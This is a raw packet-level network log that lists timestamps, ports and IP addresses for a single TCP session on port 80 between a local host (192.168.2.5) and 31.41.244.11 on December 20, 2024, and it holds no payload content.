Dec 20, 2024 13:12:42.331160069 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.332108021 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.332159996 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.332225084 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.333082914 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.333148003 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.333518028 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.333580017 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.334209919 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.334273100 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.334399939 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.334459066 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.335376978 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.335411072 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.335439920 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.335468054 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.336237907 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.336317062 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.336389065 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.336445093 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.337304115 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.337418079 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.337445021 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.337503910 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.338356972 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.338422060 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.338484049 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.338546991 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.339378119 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.339431047 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.339452982 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.339483023 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.340426922 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.344002962 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.477499962 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.477583885 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.477696896 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.477696896 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.477947950 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.478015900 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.478146076 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.478259087 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.479027987 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.479093075 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.479218960 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.479284048 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.480067015 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.480129957 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.480215073 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.480285883 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.481442928 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.481478930 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.481508017 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.481537104 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.482256889 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.482323885 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.482347965 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.482409954 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.483165026 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.483228922 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.483330011 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.483395100 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.484321117 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.484385967 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.484427929 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.484488964 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.485491991 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.485526085 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.485557079 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.485579967 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.486387968 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.486454010 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.486474991 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.486530066 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.487440109 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.487503052 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.487584114 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.487647057 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.488498926 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.488610029 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.488912106 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.488969088 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.489454985 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.489530087 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.489600897 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.489665031 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.490537882 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.490632057 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.490633965 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.490694046 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.491548061 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.491611958 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.491672993 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.491733074 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.492660046 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.492723942 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.492757082 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.492818117 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.493733883 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.493799925 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.493801117 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.493865967 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.494966984 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.495035887 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.495136976 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.495209932 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.495889902 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.495950937 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.496078968 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.496140003 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.496951103 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.497014999 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.497095108 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.497157097 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.497848988 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.497914076 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.497983932 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.498047113 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.498939037 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.499039888 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.499047041 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.499099970 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.500005007 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.500062943 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.500066042 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.500134945 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.501009941 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.501070976 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.501075983 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.501142025 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.502144098 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.502180099 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.502212048 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.502240896 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.503108025 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.503170967 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.503235102 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.503294945 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.504345894 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.504415035 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.504566908 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.504631042 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.505274057 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.505307913 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.505337954 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.505368948 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.506251097 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.506309986 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.506496906 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.506561995 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.507308006 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.507370949 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.507404089 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.507466078 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.508373022 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.508433104 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.508438110 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.508502007 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.509426117 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.509526014 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.509537935 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.509586096 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.510412931 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.510476112 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.510545015 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.510607958 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.511521101 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.511574984 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.511584997 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.511632919 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.512600899 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.512634993 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.512662888 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.512693882 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.513572931 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.513633966 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.513711929 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.513777018 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.514918089 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.514954090 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.514986038 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.515013933 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.516082048 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.516143084 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.516220093 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.516300917 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.516963005 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.517029047 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.517077923 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.517139912 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.517849922 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.517911911 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.518030882 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.518094063 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.518798113 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.518861055 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.519077063 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.519139051 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.519921064 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.520023108 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.520030975 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.520090103 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.520924091 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.520987034 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.521114111 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.521177053 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.522010088 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.522073984 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.522111893 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.522175074 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.523020983 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.523073912 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.523083925 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.523137093 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.524112940 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.524164915 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.524178028 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.524226904 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.525073051 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.525132895 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.525182009 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.525242090 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.526166916 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.526220083 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.526228905 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.526277065 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.527221918 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.527287960 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.527429104 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.527492046 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.528215885 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.528278112 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.528495073 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.528556108 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.529238939 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.529303074 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.529501915 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.529563904 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.530313015 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.530383110 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.530534029 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.530591011 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.531399965 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.531462908 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.531605959 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.531672001 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.532465935 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.532527924 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.669635057 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.669699907 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.669794083 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.670101881 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.670175076 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.670218945 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.670283079 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.671128988 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.671343088 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.671407938 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.672241926 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.672297955 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.672310114 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.672362089 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.673197031 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.673261881 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.673321962 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.673381090 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.674246073 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.674365044 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.674433947 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.675276041 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.675358057 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.675523043 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.675587893 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.676426888 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.676491022 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.676522970 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.676583052 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.677500010 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.677562952 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.677630901 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.677690983 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.678478956 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.678590059 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.678654909 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.679563046 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.679598093 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.679626942 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.679661036 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.680660009 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.680694103 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.680731058 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.680763960 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.681761026 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.681824923 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.681833029 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.681894064 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.682738066 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.682771921 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.682832956 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.683970928 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.684026003 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.684039116 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.684083939 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.684741974 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.684804916 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.684894085 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.684952974 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.685767889 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.685873985 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.686119080 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.686182976 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.686841011 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.686974049 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.687041044 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.687865019 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.687918901 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.687933922 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.687984943 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.688946962 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.689009905 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.689207077 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.689268112 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.689929962 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.689990044 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.690049887 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.691008091 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.691071033 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.691108942 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.691200018 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.692152023 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.692219973 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.692462921 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.692523956 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.693156958 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.693217993 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.693350077 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.693411112 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.694233894 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.694283009 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.694355011 CET	49913	80	192.168.2.5	31.41.244.11
